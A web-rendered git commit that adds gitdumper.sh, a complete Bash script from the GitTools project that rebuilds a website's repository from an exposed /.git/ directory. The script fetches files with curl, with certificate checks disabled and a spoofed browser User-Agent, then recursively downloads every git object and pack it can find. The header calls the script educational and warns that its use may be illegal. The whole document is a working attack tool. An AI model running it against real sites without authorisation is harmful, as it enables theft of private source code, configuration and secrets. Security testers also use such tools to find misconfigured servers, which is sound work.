from here: https://github.com/internetwache/GitTools/blob/master/Dumper/gitdumper.shmaster
parent
068bc6e3c1
commit
83f00fd4b9
1 changed files with 168 additions and 0 deletions
@ -0,0 +1,168 @@ |
|||||||
|
#!/bin/bash |
||||||
|
#$1 : URL to download .git from (http://target.com/.git/) |
||||||
|
#$2 : Folder where the .git-directory will be created |
||||||
|
|
||||||
|
function init_header() { |
||||||
|
cat <<EOF |
||||||
|
########### |
||||||
|
# Git-Dumper is part of https://github.com/internetwache/GitTools |
||||||
|
# |
||||||
|
# Developed and maintained by @gehaxelt from @internetwache |
||||||
|
# |
||||||
|
# Use at your own risk. Usage might be illegal in certain circumstances. |
||||||
|
# Only for educational purposes! |
||||||
|
########### |
||||||
|
EOF |
||||||
|
} |
||||||
|
|
||||||
|
# get_git_dir "$@" for "--git-dir=asd" |
||||||
|
# returns asd in GITDIR |
||||||
|
function get_git_dir() { |
||||||
|
local FLAG="--git-dir=" |
||||||
|
local ARGS=${@} |
||||||
|
|
||||||
|
for arg in $ARGS |
||||||
|
do |
||||||
|
if [[ $arg == $FLAG* ]]; then |
||||||
|
echo "${arg#$FLAG}" |
||||||
|
return |
||||||
|
fi |
||||||
|
done |
||||||
|
|
||||||
|
echo ".git" |
||||||
|
} |
||||||
|
|
||||||
|
init_header |
||||||
|
|
||||||
|
|
||||||
|
QUEUE=(); |
||||||
|
DOWNLOADED=(); |
||||||
|
BASEURL="$1"; |
||||||
|
BASEDIR="$2"; |
||||||
|
GITDIR=$(get_git_dir "$@") |
||||||
|
BASEGITDIR="$BASEDIR/$GITDIR/"; |
||||||
|
|
||||||
|
if [ $# -lt 2 ]; then |
||||||
|
echo -e "\033[33m[*] USAGE: http://target.tld/.git/ dest-dir [--git-dir=otherdir]\033[0m"; |
||||||
|
echo -e "\t\t--git-dir=otherdir\t\tChange the git folder name. Default: .git" |
||||||
|
exit 1; |
||||||
|
fi |
||||||
|
|
||||||
|
|
||||||
|
if [[ ! "$BASEURL" =~ /$GITDIR/$ ]]; then |
||||||
|
echo -e "\033[31m[-] /$GITDIR/ missing in url\033[0m"; |
||||||
|
exit 0; |
||||||
|
fi |
||||||
|
|
||||||
|
if [ ! -d "$BASEGITDIR" ]; then |
||||||
|
echo -e "\033[33m[*] Destination folder does not exist\033[0m"; |
||||||
|
echo -e "\033[32m[+] Creating $BASEGITDIR\033[0m"; |
||||||
|
mkdir -p "$BASEGITDIR"; |
||||||
|
fi |
||||||
|
|
||||||
|
|
||||||
|
function start_download() { |
||||||
|
#Add initial/static git files |
||||||
|
QUEUE+=('HEAD') |
||||||
|
QUEUE+=('objects/info/packs') |
||||||
|
QUEUE+=('description') |
||||||
|
QUEUE+=('config') |
||||||
|
QUEUE+=('COMMIT_EDITMSG') |
||||||
|
QUEUE+=('index') |
||||||
|
QUEUE+=('packed-refs') |
||||||
|
QUEUE+=('refs/heads/master') |
||||||
|
QUEUE+=('refs/remotes/origin/HEAD') |
||||||
|
QUEUE+=('refs/stash') |
||||||
|
QUEUE+=('logs/HEAD') |
||||||
|
QUEUE+=('logs/refs/heads/master') |
||||||
|
QUEUE+=('logs/refs/remotes/origin/HEAD') |
||||||
|
QUEUE+=('info/refs') |
||||||
|
QUEUE+=('info/exclude') |
||||||
|
QUEUE+=('/refs/wip/index/refs/heads/master') |
||||||
|
QUEUE+=('/refs/wip/wtree/refs/heads/master') |
||||||
|
|
||||||
|
#Iterate through QUEUE until there are no more files to download |
||||||
|
while [ ${#QUEUE[*]} -gt 0 ] |
||||||
|
do |
||||||
|
download_item ${QUEUE[@]:0:1} |
||||||
|
#Remove item from QUEUE |
||||||
|
QUEUE=( "${QUEUE[@]:1}" ) |
||||||
|
done |
||||||
|
} |
||||||
|
|
||||||
|
function download_item() { |
||||||
|
local objname=$1 |
||||||
|
local url="$BASEURL$objname" |
||||||
|
local hashes=() |
||||||
|
local packs=() |
||||||
|
|
||||||
|
#Check if file has already been downloaded |
||||||
|
if [[ " ${DOWNLOADED[@]} " =~ " ${objname} " ]]; then |
||||||
|
return |
||||||
|
fi |
||||||
|
|
||||||
|
local target="$BASEGITDIR$objname" |
||||||
|
|
||||||
|
#Create folder |
||||||
|
dir=$(echo "$objname" | grep -oE "^(.*)/") |
||||||
|
if [ $? -ne 1 ]; then |
||||||
|
mkdir -p "$BASEGITDIR/$dir" |
||||||
|
fi |
||||||
|
|
||||||
|
#Download file |
||||||
|
curl -L -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36" -f -k -s "$url" -o "$target" |
||||||
|
|
||||||
|
#Mark as downloaded and remove it from the queue |
||||||
|
DOWNLOADED+=("$objname") |
||||||
|
if [ ! -f "$target" ]; then |
||||||
|
echo -e "\033[31m[-] Downloaded: $objname\033[0m" |
||||||
|
return |
||||||
|
fi |
||||||
|
echo -e "\033[32m[+] Downloaded: $objname\033[0m" |
||||||
|
|
||||||
|
#Check if we have an object hash |
||||||
|
if [[ "$objname" =~ /[a-f0-9]{2}/[a-f0-9]{38} ]]; then |
||||||
|
#Switch into $BASEDIR and save current working directory |
||||||
|
cwd=$(pwd) |
||||||
|
cd "$BASEDIR" |
||||||
|
|
||||||
|
#Restore hash from $objectname |
||||||
|
hash=$(echo "$objname" | sed -e 's~objects~~g' | sed -e 's~/~~g') |
||||||
|
|
||||||
|
#Check if it's valid git object |
||||||
|
type=$(git cat-file -t "$hash" 2> /dev/null) |
||||||
|
if [ $? -ne 0 ]; then |
||||||
|
#Delete invalid file |
||||||
|
cd "$cwd" |
||||||
|
rm "$target" |
||||||
|
return |
||||||
|
fi |
||||||
|
|
||||||
|
#Parse output of git cat-file -p $hash. Use strings for blobs |
||||||
|
if [[ "$type" != "blob" ]]; then |
||||||
|
hashes+=($(git cat-file -p "$hash" | grep -oE "([a-f0-9]{40})")) |
||||||
|
else |
||||||
|
hashes+=($(git cat-file -p "$hash" | strings -a | grep -oE "([a-f0-9]{40})")) |
||||||
|
fi |
||||||
|
|
||||||
|
cd "$cwd" |
||||||
|
fi |
||||||
|
|
||||||
|
#Parse file for other objects |
||||||
|
hashes+=($(cat "$target" | strings -a | grep -oE "([a-f0-9]{40})")) |
||||||
|
for hash in ${hashes[*]} |
||||||
|
do |
||||||
|
QUEUE+=("objects/${hash:0:2}/${hash:2}") |
||||||
|
done |
||||||
|
|
||||||
|
#Parse file for packs |
||||||
|
packs+=($(cat "$target" | strings -a | grep -oE "(pack\-[a-f0-9]{40})")) |
||||||
|
for pack in ${packs[*]} |
||||||
|
do |
||||||
|
QUEUE+=("objects/pack/$pack.pack") |
||||||
|
QUEUE+=("objects/pack/$pack.idx") |
||||||
|
done |
||||||
|
} |
||||||
|
|
||||||
|
|
||||||
|
start_download |
Loading…
Reference in new issue